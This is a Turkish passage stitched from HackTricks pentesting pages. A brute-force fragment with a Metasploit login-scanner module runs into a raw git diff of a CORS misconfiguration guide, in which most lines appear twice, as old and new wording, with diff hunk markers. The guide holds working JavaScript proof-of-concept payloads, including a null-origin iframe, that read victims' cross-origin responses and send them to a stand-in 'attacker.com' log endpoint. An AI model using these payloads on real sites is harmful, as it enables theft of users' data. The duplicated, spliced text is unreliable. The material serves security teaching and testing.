Bruteforce saldırıları, güvenlik önlemleriyle korunan sistemlere karşı oldukça etkili olabilir. Bu nedenle, kullanıcıların karmaşık ve tahmin edilemez şifreler kullanmaları ve oturum açma denemelerini sınırlayan önlemler alınması önemlidir. Ayrıca, oturum açma girişimlerini izlemek ve şüpheli aktiviteleri tespit etmek için güvenlik duvarları ve günlük kayıtları gibi güvenlik önlemleri de uygulanmalıdır.
Bruteforce saldırılarına karşı korunmak için aşağıdaki önlemler alınabilir:
- Karmaşık ve tahmin edilemez şifreler kullanın.
- Oturum açma denemelerini sınırlayan önlemler alın.
- Oturum açma girişimlerini izleyin ve şüpheli aktiviteleri tespit edin.
- Güvenlik duvarları ve günlük kayıtları gibi güvenlik önlemleri uygulayın.
Bruteforce saldırıları, ağ servislerinin güvenliğini test etmek için kullanılan bir pentesting yöntemidir. Ancak, bu tür saldırıları gerçek sistemlere izinsiz olarak gerçekleştirmek yasa dışıdır ve ciddi yasal sonuçları olabilir. Bu nedenle, yalnızca yasal ve etik sınırlar içinde pentesting faaliyetleri gerçekleştirilmelidir.
```text
Bruteforce saldırıları, bir hedef sistemdeki kullanıcı adı ve şifre kombinasyonlarını deneyerek yetkisiz erişim elde etmeye çalışan saldırı türleridir. Bu saldırılar genellikle oturum açma sayfaları veya kimlik doğrulama mekanizmaları hedef alınarak gerçekleştirilir. Saldırganlar genellikle otomatik araçlar kullanarak büyük bir şifre listesini hızlı bir şekilde deneyerek başarılı bir giriş yapmaya çalışırlar. Bu tür saldırılar genellikle zayıf şifreler veya kötü yapılandırılmış kimlik doğrulama mekanizmaları hedef alınarak gerçekleştirilir. Güvenlik açıklarını tespit etmek ve önlem almak için bruteforce saldırılarını simüle etmek önemli bir pentesting tekniğidir.
```bash
msf> auxiliary/scanner/vmware/vmware_http_login
```
Geçerli kimlik bilgileri bulursanız, daha fazla metasploit tarama modülünü kullanarak bilgi elde edebilirsiniz.
Eğer geçerli kimlik bilgilerini bulursanız, daha fazla metasploit tarayıcı modülü kullanarak bilgi edinebilirsiniz.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -6,21 +6,25 @@
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## CORS Nedir?
Çapraz Kaynak Paylaşımı (CORS) standardı, **sunucuların varlıklarına kimin erişebileceğini** ve **harici kaynaklardan hangi HTTP istek yöntemlerinin izinli olduğunu** tanımlamasına olanak tanır.
Çapraz Kaynak Paylaşımı (CORS) standardı **sunucuların varlıklarına kimin erişebileceğini** ve **harici kaynaklardan hangi HTTP istek yöntemlerinin izinli olduğunu tanımlamasına olanak tanır**.
**Aynı köken** politikası, bir **kaynağı isteyen sunucu** ile **kaynağı barındıran sunucunun** aynı protokolü (ör. `http://`), alan adını (ör. `internal-web.com`) ve **portu** (ör. 80) paylaşmasını zorunlu kılar. Bu politika altında, yalnızca aynı etki alanı ve porttan gelen web sayfalarına kaynaklara erişim izinlidir.
**Aynı köken** politikası, bir **kaynağı isteyen sunucunun** ve **kaynağı barındıran sunucunun** aynı protokolü (ör. `http://`), alan adını (ör. `internal-web.com`) ve **portu** (ör. 80) paylaşmasını zorunlu kılar. Bu politika altında, yalnızca aynı etki alanı ve porttan gelen web sayfalarına kaynaklara erişim izinlidir.
`http://normal-website.com/example/example.html` bağlamında aynı köken politikasının uygulanması aşağıdaki gibi gösterilir:
`http://normal-website.com/example/example.html` bağlamında aynı köken politikasının uygulanması aşağıdaki gibi gösterilmiştir:
| Erişilen URL | Erişime izin verildi mi? |
| ----------------------------------------- | --------------------------------------- |
@ -35,13 +39,13 @@ HackTricks'i desteklemenin diğer yolları:
### `Access-Control-Allow-Origin` Başlığı
Bu başlık **çoklu kökenlere**, bir **`null`** değerine veya joker karakter **`*`**'e izin verebilir. Ancak, **hiçbir tarayıcı çoklu kökenleri desteklemez**, ve joker karakter `*`'in kullanımı **sınırlamalara** tabidir. (Joker karakter yalnız kullanılmalıdır ve `Access-Control-Allow-Credentials: true` ile birlikte kullanımı izinli değildir.)
Bu başlık **çoklu kökenlere**, bir **`null`** değerine veya joker karakter **`*`**'e izin verebilir. Ancak, **hiçbir tarayıcı çoklu kökenleri desteklemez** ve joker karakter `*`'in kullanımı **kısıtlamalara** tabidir. (Joker karakter yalnız kullanılmalıdır ve `Access-Control-Allow-Credentials: true` ile birlikte kullanımına izin verilmez.)
Bu başlık, tarayıcı tarafından otomatik olarak bir `Origin` başlığı eklenen bir web sitesi tarafından başlatılan çapraz etki alanı kaynağı isteğine sunucu tarafından **verilir**.
Bu başlık, bir web sitesi tarafından başlatılan çapraz etki alanı kaynağı isteğine sunucu tarafından **verilir** ve tarayıcı otomatik olarak bir `Origin` başlığı ekler.
### `Access-Control-Allow-Credentials` Başlığı
**Varsayılan olarak**, çapraz köken istekler, çerezler veya Yetkilendirme başlığı gibi kimlik bilgileri olmadan yapılır. Ancak, bir çapraz etki alanı sunucusu, yanıtların okunmasına izin vererek kimlik bilgileri gönderildiğinde `Access-Control-Allow-Credentials` başlığını **`true`** olarak ayarlayarak bunu sağlayabilir.
**Varsayılan olarak**, çapraz köken istekler, çerezler veya Yetkilendirme başlığı gibi kimlik bilgileri olmadan yapılır. Ancak, bir çapraz etki alanı sunucusu, kimlik bilgileri gönderildiğinde yanıtın okunmasına izin vererek `Access-Control-Allow-Credentials` başlığını **`true`** olarak ayarlayabilir.
`true` olarak ayarlandığında, tarayıcı kimlik bilgilerini (çerezler, yetkilendirme başlıkları veya TLS istemci sertifikaları) iletecektir.
```javascript
@ -72,15 +76,15 @@ xhr.send('<person><name>Arun</name></person>');
```
### CSRF Ön uçuş isteği
### Çapraz Alan İletişiminde Ön Uçuş İsteklerini Anlama
### Çapraz Alan İletişiminde Ön Uçuş İsteklerinin Anlaşılması
Belirli koşullar altında çapraz alan isteği başlatırken, örneğin **standart olmayan bir HTTP yöntemi** kullanılarak (HEAD, GET, POST dışında herhangi bir şey), yeni **başlıklar** tanıtılarak veya özel bir **Content-Type başlık değeri** kullanılarak, bir ön uçuş isteği gerekebilir. Bu ön hazırlık isteği, **`OPTIONS`** yöntemini kullanarak sunucuyu gelecek çapraz kökenli isteğin niyetleri hakkında bilgilendirir, kullanmayı planladığı HTTP yöntemlerini ve başlıkları içerir.
Belirli koşullar altında çapraz alan isteği başlatırken, örneğin **standart olmayan HTTP yöntemi** kullanılarak (HEAD, GET, POST dışında herhangi bir şey), yeni **başlıklar** tanıtılarak veya özel bir **Content-Type başlık değeri** kullanılarak, bir ön uçuş isteği gerekebilir. Bu ön hazırlık isteği, **`OPTIONS`** yöntemini kullanarak sunucuyu gelecek çapraz kökenli isteğin niyetleri hakkında bilgilendirir, kullanmayı planladığı HTTP yöntemleri ve başlıklar dahil.
**Çapraz Köken Kaynak Paylaşımı (CORS)** protokolü, bu ön uçuş kontrolünü zorunlu kılar, istenen çapraz kökenli işlemin uygunluğunu belirleyerek izin verilen yöntemleri, başlıkları ve kökenin güvenilirliğini doğrular. Bir ön uçuş isteğinin gerekli olmadığı koşullar hakkında detaylı bilgi için [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) tarafından sağlanan kapsamlı kılavuza başvurun.
**Çapraz Köken Kaynak Paylaşımı (CORS)** protokolü, bu ön uçuş kontrolünü zorunlu kılar, istenen çapraz kökenli işlemin uygunluğunu belirlemek için izin verilen yöntemleri, başlıkları ve kökenin güvenilirliğini doğrulayarak. Bir ön uçuş isteğine gerek olmadığını belirleyen koşullar hakkında detaylı bilgi için [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) tarafından sağlanan kapsamlı kılavuza başvurun.
**Ön uçuş isteğinin olmamasının yanıtın yetkilendirme başlıklarını taşıma gerekliliğini ortadan kaldırmadığını** unutmamak önemlidir. Bu başlıklar olmadan tarayıcı, çapraz kökenli isteğin yanıtını işleme yeteneğinden yoksun kalır.
**Ön uçuş isteğinin olmamasının, yanıtın yetkilendirme başlıklarını taşıma gerekliliğini ortadan kaldırmadığını** unutmamak önemlidir. Bu başlıklar olmadan tarayıcı, çapraz kökenli isteğin yanıtını işleme yeteneğinden yoksun kalır.
Aşağıdaki örneği göz önünde bulundurun, bu örnek `PUT` yöntemini kullanmayı ve `Special-Request-Header` adında özel bir başlık eklemeyi amaçlayan bir ön uçuş isteğini göstermektedir:
Aşağıdaki örneği göz önünde bulundurun, `PUT` yöntemini kullanmayı amaçlayan ve `Special-Request-Header` adında özel bir başlık içeren bir ön uçuş isteği:
```
OPTIONS /info HTTP/1.1
Host: example2.com
@ -106,15 +110,15 @@ Access-Control-Max-Age: 240
* **`Access-Control-Request-Method`**: Bu başlık da ön uçuş isteklerinde kullanılır ve istemci tarafından gerçek istekte hangi HTTP yönteminin kullanılacağını belirtmek için ayarlanır.
* **`Origin`**: Bu başlık tarayıcı tarafından otomatik olarak ayarlanır ve çapraz köken isteğinin kökenini belirtir. Sunucu, CORS politikasına dayanarak gelen isteğin izin verilip verilmeyeceğini değerlendirmek için bunu kullanır.
Genellikle (içerik türüne ve ayarlanan başlıklara bağlı olarak) **GET/POST isteğinde ön uçuş isteği gönderilmez** (isteğin **doğrudan** gönderilir), ancak yanıtın **başlıklarını/gövdesine erişmek istiyorsanız**, buna izin veren bir _Access-Control-Allow-Origin_ başlığı içermelidir.\
Genellikle (içerik türüne ve ayarlanan başlıklara bağlı olarak) **GET/POST isteğinde ön uçuş isteği gönderilmez** (isteğin **doğrudan** gönderilir), ancak yanıtın **başlıklarını/gövdesine erişmek istiyorsanız**, bunun izin veren bir _Access-Control-Allow-Origin_ başlığı içermesi gerekir.\
**Bu nedenle, CORS CSRF'ye karşı koruma sağlamaz (ancak faydalı olabilir).**
### **Yerel Ağ İstekleri Ön Uçuş İsteği**
1. **`Access-Control-Request-Local-Network`**: Bu başlık, istemcinin isteğine dahil edilir ve sorgunun yerel ağ kaynağına yönelik olduğunu belirtir. Sunucuya, isteğin yerel ağdan kaynaklandığını bildirmek için bir işaret olarak hizmet eder.
1. **`Access-Control-Request-Local-Network`**: Bu başlık, istemcinin isteğine dahil edilir ve sorgunun yerel ağ kaynağına yönelik olduğunu belirtir. Sunucuya isteğin yerel ağdan geldiğini bildirmek için bir işaret olarak hizmet eder.
2. **`Access-Control-Allow-Local-Network`**: Yanıt olarak, sunucular istenen kaynağın yerel ağ dışındaki varlıklarla paylaşılmasına izin verildiğini iletmek için bu başlığı kullanır. Farklı ağ sınırları arasında kaynakların paylaşılmasına yeşil ışık yakarak, kontrollü erişimi sağlarken güvenlik protokollerini korur.
**Yerel ağ isteğine izin veren geçerli bir yanıtın**, yanıtta ayrıca `Access-Controls-Allow-Local_network: true` başlığını içermesi gerekir:
**Yerel ağ isteğine izin veren geçerli bir yanıtın**, ayrıca yanıtta `Access-Controls-Allow-Local_network: true` başlığını içermesi gerekir:
```
HTTP/1.1 200 OK
...
@ -126,22 +130,22 @@ Content-Length: 0
...
```
{% hint style="warning" %}
Linux **0.0.0.0** IP'si, bu gereksinimleri atlamak için **yerel** olarak kabul edilmeyen bir IP adresi olduğundan localhost'a erişmek için çalışır.
Linux **0.0.0.0** IP'si, bu gereksinimleri atlamak için localhost'a erişmek için çalışır çünkü bu IP adresi "yerel" olarak kabul edilmez.
Ayrıca, **yerel ağ gereksinimlerini atlamak** mümkündür, eğer **yerel bir uç noktanın genel IP adresini** kullanıyorsanız (örneğin yönlendiricinin genel IP'si). Çünkü birkaç durumda, **genel IP'ye** erişilse bile, eğer **yerel ağdan** erişiliyorsa, erişim sağlanacaktır.
Ayrıca, yerel ağ gereksinimlerini atlamak mümkündür eğer bir yerel uç noktanın **genel IP adresini** kullanıyorsanız (örneğin yönlendiricinin genel IP'si). Çünkü birkaç durumda, hatta **genel IP'ye** erişiliyorsa, eğer **yerel ağdan** erişiliyorsa, erişim sağlanacaktır.
{% endhint %}
## Sömürülebilir yanlış yapılandırmalar
`Access-Control-Allow-Credentials`'ın **`true`** olarak ayarlanması, çoğu **gerçek saldırı** için bir önkoşul olduğu gözlemlenmiştir. Bu ayar, tarayıcının kimlik bilgilerini göndermesine ve yanıtı okumasına izin verir, saldırının etkinliğini artırır. Bu olmadan, tarayıcının isteği kendiniz yapmak yerine yapmasının faydası azalır, çünkü bir kullanıcının çerezlerini kullanmak olanaksız hale gelir.
`Access-Control-Allow-Credentials`'ın **`true`** olarak ayarlanması, çoğu **gerçek saldırı** için bir önkoşuldur. Bu ayar, tarayıcının kimlik bilgilerini göndermesine ve yanıtı okumasına izin verir, saldırının etkinliğini artırır. Bu olmadan, tarayıcıya istek göndermek yerine kendiniz yapmanın faydası azalır, çünkü bir kullanıcının çerezlerini kullanmak olanaksız hale gelir.
### İstisna: Ağ Konumunun Kimlik Doğrulaması Olarak Sömürülmesi
### İstisna: Ağ Konumunu Kimlik Doğrulaması Olarak Kullanma
Kurbanın ağ konumunun kimlik doğrulaması olarak işlev gördüğü bir istisna vardır. Bu, kurbanın tarayıcısının bir proxy olarak kullanılmasına izin verir, IP tabanlı kimlik doğrulamayı atlayarak iç ağ uygulamalarına erişimi sağlar. Bu yöntem, DNS rebinding ile benzer etkilere sahip olmakla birlikte, daha basit bir şekilde sömürülebilir.
Kurbanın ağ konumunun kimlik doğrulaması olarak kullanıldığı bir istisna vardır. Bu, kurbanın tarayıcısının bir proxy olarak kullanılmasına izin verir, IP tabanlı kimlik doğrulamayı atlayarak iç ağ uygulamalarına erişimi sağlar. Bu yöntem, DNS rebinding ile benzer etkilere sahip olmasına rağmen daha basit bir şekilde sömürülebilir.
### `Access-Control-Allow-Origin`'de `Origin` Yansıması
### `Access-Control-Allow-Origin` İçinde `Origin` Yansıtılması
`Origin` başlığının değerinin `Access-Control-Allow-Origin` içinde yansıtıldığı gerçek dünya senaryosu, bu başlıkların birleştirilmesine yönelik kısıtlamalar nedeniyle teorik olarak olası değildir. Bununla birlikte, CORS'u birden fazla URL için etkinleştirmek isteyen geliştiriciler, `Access-Control-Allow-Origin` başlığını `Origin` başlığının değerini kopyalayarak dinamik olarak oluşturabilir. Bu yaklaşım, özellikle bir saldırganın geçerlilik mantığını aldatarak meşru görünmesi için tasarlanmış bir alan adı kullandığında, güvenlik açıklarına neden olabilir.
`Origin` başlığının değerinin `Access-Control-Allow-Origin` içinde yansıtıldığı gerçek dünya senaryosu, bu başlıkların birleştirilmesine yönelik kısıtlamalar nedeniyle teorik olarak olası değildir. Bununla birlikte, CORS'u birden fazla URL için etkinleştirmek isteyen geliştiriciler, `Access-Control-Allow-Origin` başlığını dinamik olarak oluşturabilir ve bunu `Origin` başlığının değerini kopyalayarak yapabilir. Bu yaklaşım, özellikle bir saldırganın meşru görünmeye tasarlanmış bir alan adı kullandığı durumlarda, doğrulama mantığını aldatarak zayıflıklara neden olabilir.
```html
<script>
var req = new XMLHttpRequest();
@ -156,7 +160,7 @@ location='/log?key='+this.responseText;
```
### `null` Origin'un Sömürülmesi
Yönlendirmeler veya yerel HTML dosyaları gibi durumlar için belirtilen `null` kökeni, benzersiz bir konuma sahiptir. Bazı uygulamalar, yerel geliştirmeyi kolaylaştırmak için bu kökeni beyaz listeye alır ve yanlışlıkla herhangi bir web sitesinin, bir kum havuzlu iframe aracılığıyla `null` kökenini taklit etmesine izin vererek CORS kısıtlamalarını atlar.
Yönlendirmeler veya yerel HTML dosyaları gibi durumlar için belirtilen `null` kökeni, benzersiz bir konuma sahiptir. Bazı uygulamalar, yerel geliştirmeyi kolaylaştırmak için bu kökeni beyaz listeye alır ve yanlışlıkla herhangi bir web sitesinin, CORS kısıtlamalarını atlayarak bir kum havuzunda iframe aracılığıyla `null` kökenini taklit etmesine izin verir.
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
@ -184,21 +188,21 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
```
### Düzenli İfade Atlatma Teknikleri
Bir alan adı beyaz listesiyle karşılaşıldığında, saldırganın alan adını beyaz listelenmiş bir alan adına eklemesi veya alt alan devralma güvenlik açıklarını sömürmesi gibi atlatma fırsatlarını test etmek hayati önem taşır. Ayrıca, alan doğrulaması için kullanılan düzenli ifadeler, alan adı adlandırma kurallarındaki ince detayları göz ardı edebilir ve daha fazla atlatma fırsatı sunabilir.
Bir alan adı beyaz listesiyle karşılaşıldığında, saldırganın alan adını beyaz listelenmiş bir alan adına eklemesi veya alt alan devralma güvenlik açıklarını sömürmesi gibi atlatma fırsatlarını test etmek hayati önem taşır. Ayrıca, alan adı doğrulaması için kullanılan düzenli ifadeler, alan adı adlandırma kurallarındaki ince detayları göz ardı edebilir ve daha fazla atlatma fırsatı sunabilir.
### Gelişmiş Düzenli İfade Atlatmaları
Düzenli ifade desenleri genellikle alfasayısal, nokta (.), ve kısa çizgi (-) karakterlerine odaklanırken, diğer olasılıkları göz ardı edebilir. Örneğin, tarayıcılar ve düzenli ifade desenleri tarafından farklı yorumlanan karakterleri içeren bir alan adı, güvenlik kontrollerini atlatmak için kullanılabilir. Safari, Chrome ve Firefox'un alt alanlardaki alt çizgi karakterlerini ele alış şekli, bu tür farklılıkların alan doğrulama mantığını atlatmak için nasıl sömürülebileceğini gösterir.
Düzenli ifade desenleri genellikle alfasayısal, nokta (.), ve kısa çizgi (-) karakterlerine odaklanırken, diğer olasılıkları göz ardı edebilir. Örneğin, tarayıcılar ve düzenli ifade desenleri tarafından farklı yorumlanan karakterleri içeren bir alan adı, güvenlik kontrollerini atlatmak için kullanılabilir. Safari, Chrome ve Firefox'un alt alanlardaki alt çizgi karakterlerini ele alış şekilleri, bu tür farklılıkların alan adı doğrulama mantığını atlatmak için nasıl sömürülebileceğini gösterir.
**Bu atlatma kontrolünün daha fazla bilgi ve ayarları için:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **ve** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (281).png>)
### Bir Alt Alan İçinde XSS'den
### Bir Alt Alan İçinde XSS'ten
Geliştiriciler genellikle, bilgi istemek için izin verilen alan adlarını beyaz listeye alarak CORS sömürüsüne karşı koruyucu mekanizmaları uygularlar. Bu önlemlere rağmen, sistemin güvenliği kusursuz değildir. Beyaz listelenen alan adları içinde bile tek bir savunmasız alt alanın bulunması, XSS (Cross-Site Scripting) gibi diğer güvenlik açıklarından dolayı CORS sömürüsüne kapı açabilir.
Geliştiriciler genellikle, bilgi istemek için izin verilen alan adlarını beyaz listeye alarak CORS sömürüsüne karşı koruyucu mekanizmaları uygularlar. Bu önlemlere rağmen, sistemin güvenliği kusursuz değildir. Beyaz listelenmiş alan adları içinde bile tek bir savunmasız alt alanın varlığı, XSS (Çapraz Site Komut Dosyası) gibi diğer güvenlik açıklarından dolayı CORS sömürüsüne kapı açabilir.
Örneğin, `requester.com` adlı bir alanın, başka bir alan olan `provider.com`'dan kaynaklara erişimine izin verildiği bir senaryoyu düşünün. Sunucu tarafı yapılandırması şöyle görünebilir:
Örneğin, `requester.com` adlı bir alan adının, başka bir alan adı olan `provider.com`'dan kaynaklara erişime izin verildiği bir senaryoyu düşünelim. Sunucu tarafı yapılandırması şöyle görünebilir:
```javascript
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
@ -212,7 +216,7 @@ Bu kurulumda, `requester.com` alt alan adlarının hepsine erişim izni verilmi
[**Bu araştırmadan**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
Sunucu tarafı önbellek zehirlenmesini HTTP başlığı enjeksiyonu yoluyla sömürerek, depolanan Cross-Site Scripting (XSS) zafiyetinin tetiklenebilir olduğu mümkündür. Bu senaryo, bir uygulamanın `Origin` başlığını yasaklı karakterler için temizlemediğinde ortaya çıkar ve özellikle Internet Explorer ve Edge kullanıcıları için bir zafiyet oluşturur. Bu tarayıcılar, (0x0d)'yi meşru bir HTTP başlık terminatorü olarak işler, bu da HTTP başlığı enjeksiyonu zafiyetlerine yol açar.
HTTP başlığı enjeksiyonu aracılığıyla sunucu tarafı önbellek zehirlenmesini sömürerek, depolanan Cross-Site Scripting (XSS) zafiyeti uygulanabilir. Bu senaryo, bir uygulamanın `Origin` başlığını yasaklı karakterler için temizlemediğinde ortaya çıkar ve özellikle Internet Explorer ve Edge kullanıcıları için bir zafiyet oluşturur. Bu tarayıcılar, (0x0d) karakterini meşru bir HTTP başlık terminatorü olarak işler, bu da HTTP başlığı enjeksiyonu zafiyetlerine yol açar.
Aşağıdaki isteği düşünün, burada `Origin` başlığı manipüle edilmiştir:
```
@ -229,17 +233,17 @@ Bu zafiyeti doğrudan sömürmek için bir web tarayıcısının hatalı bir ba
Daha fazla bilgi için depolanan XSS zafiyetlerine bakın [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
**Not**: Özellikle sunucu tarafı önbellek zehirlenmesi aracılığıyla HTTP başlık enjeksiyonu zafiyetlerinin sömürülmesi, HTTP başlıkları da dahil olmak üzere tüm kullanıcı tarafından sağlanan girdilerin doğrulanması ve temizlenmesinin kritik önemini vurgular. Bu tür zafiyetleri önlemek için her zaman girdi doğrulamasını içeren güçlü bir güvenlik modeli kullanın.
**Not**: Özellikle sunucu tarafı önbellek zehirlenmesi aracılığıyla HTTP başlık enjeksiyonu zafiyetlerinin sömürülmesi, HTTP başlıkları da dahil olmak üzere tüm kullanıcı tarafından sağlanan girdilerin doğrulanması ve temizlenmesinin kritik önemini vurgular. Bu tür zafiyetleri önlemek için girdi doğrulamasını içeren sağlam bir güvenlik modeli kullanın.
### **İstemci Tarafı Önbellek Zehirlenmesi**
[**Bu araştırmadan**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
Bu senaryoda, uygun kodlama olmadan özel bir HTTP başlığının içeriğini yansıtan bir web sayfası örneği gözlemlenir. Özellikle, web sayfası, `X-User-id` başlığında bulunan içeriği geri yansıtır, bu içerik kötü niyetli JavaScript içerebilir. Başlık, yüklenirken JavaScript kodunu yürütmek için tasarlanmış bir SVG resim etiketi içerdiğinde gösterildiği gibi.
Bu senaryoda, uygun kodlama olmadan özel bir HTTP başlığının içeriğini yansıtan bir web sayfası örneği gözlemlenir. Özellikle, web sayfası, `X-User-id` başlığında bulunan içeriği geri yansıtır; bu içerik kötü amaçlı JavaScript içerebilir. Başlık, yüklenirken JavaScript kodunu yürütmek için tasarlanmış bir SVG resim etiketi içerdiğinde gösterildiği gibi.
Çapraz Kaynak Kaynak Paylaşımı (CORS) politikaları özel başlıkların gönderilmesine izin verir. Ancak, CORS kısıtlamaları nedeniyle tarayıcı tarafından yanıtın doğrudan işlenmemesi durumunda, böyle bir enjeksiyonun faydası sınırlı gibi görünebilir. Kritik nokta, tarayıcının önbellek davranışını düşünürken ortaya çıkar. `Vary: Origin` başlığı belirtilmediğinde, kötü niyetli yanıtın tarayıcı tarafından önbelleğe alınması mümkün hale gelir. Sonuç olarak, bu önbelleğe alınmış yanıt, URL'ye doğrudan gezinildiğinde doğrudan render edilebilir, başlangıçtaki istekte doğrudan render yapma ihtiyacını atlayarak. Bu mekanizma, istemci tarafı önbelleğini kullanarak saldırının güvenilirliğini artırır.
Çapraz Kaynak Paylaşımı (CORS) politikaları özel başlıkların gönderilmesine izin verir. Ancak, CORS kısıtlamaları nedeniyle yanıtın tarayıcı tarafından doğrudan işlenmemesi durumunda, böyle bir enjeksiyonun faydası sınırlı gibi görünebilir. Kritik nokta, tarayıcının önbellek davranışını düşünürken ortaya çıkar. `Vary: Origin` başlığı belirtilmediğinde, kötü amaçlı yanıtın tarayıcı tarafından önbelleğe alınması mümkün hale gelir. Sonuç olarak, bu önbelleğe alınmış yanıt, URL'ye doğrudan gezinildiğinde doğrudan render edilebilir, başlangıçtaki istekte doğrudan render yapma ihtiyacını atlayarak. Bu mekanizma, istemci tarafı önbelleğini kullanarak saldırının güvenilirliğini artırır.
Bu saldırıyı göstermek için, bir JavaScript örneği sağlanmıştır, bir JSFiddle gibi bir web sayfasının ortamında yürütülmek üzere tasarlanmıştır. Bu betik basit bir eylem gerçekleştirir: belirtilen URL'ye kötü niyetli JavaScript içeren özel bir başlık içeren bir istek gönderir. Başarılı istek tamamlandığında, hedef URL'ye gitmeye çalışır ve yanıtın `Vary: Origin` başlığının doğru şekilde işlenmemesi durumunda enjekte edilen betiğin yürütülmesini tetikleyebilir.
Bu saldırıyı göstermek için, bir JavaScript örneği sağlanmıştır; bir JSFiddle gibi bir web sayfasının ortamında yürütülmek üzere tasarlanmıştır. Bu betik basit bir eylem gerçekleştirir: belirtilen URL'ye kötü amaçlı JavaScript içeren özel bir başlık içeren bir istek gönderir. Başarılı istek tamamlandığında, hedef URL'ye gitmeye çalışır ve yanıtın `Vary: Origin` başlığının doğru şekilde işlenmemesi durumunda enjekte edilen betiğin yürütülmesini tetikleyebilir.
```html
<script>
function gotcha() { location=url }
@ -255,28 +259,28 @@ req.send();
### XSSI (Cross-Site Script Inclusion) / JSONP
XSSI, ayrıca Cross-Site Script Inclusion olarak da bilinen, aynı köken politikasının (SOP) script etiketi kullanılarak kaynaklar dahil edildiğinde geçerli olmadığından faydalanılan bir zayıflık türüdür. Bu, scriptlerin farklı alanlardan dahil edilebilmesi gerektiği gerçeğinden yararlanır. Bu zayıflık, bir saldırganın script etiketi kullanılarak dahil edilen herhangi bir içeriğe erişmesine ve okumasına olanak tanır.
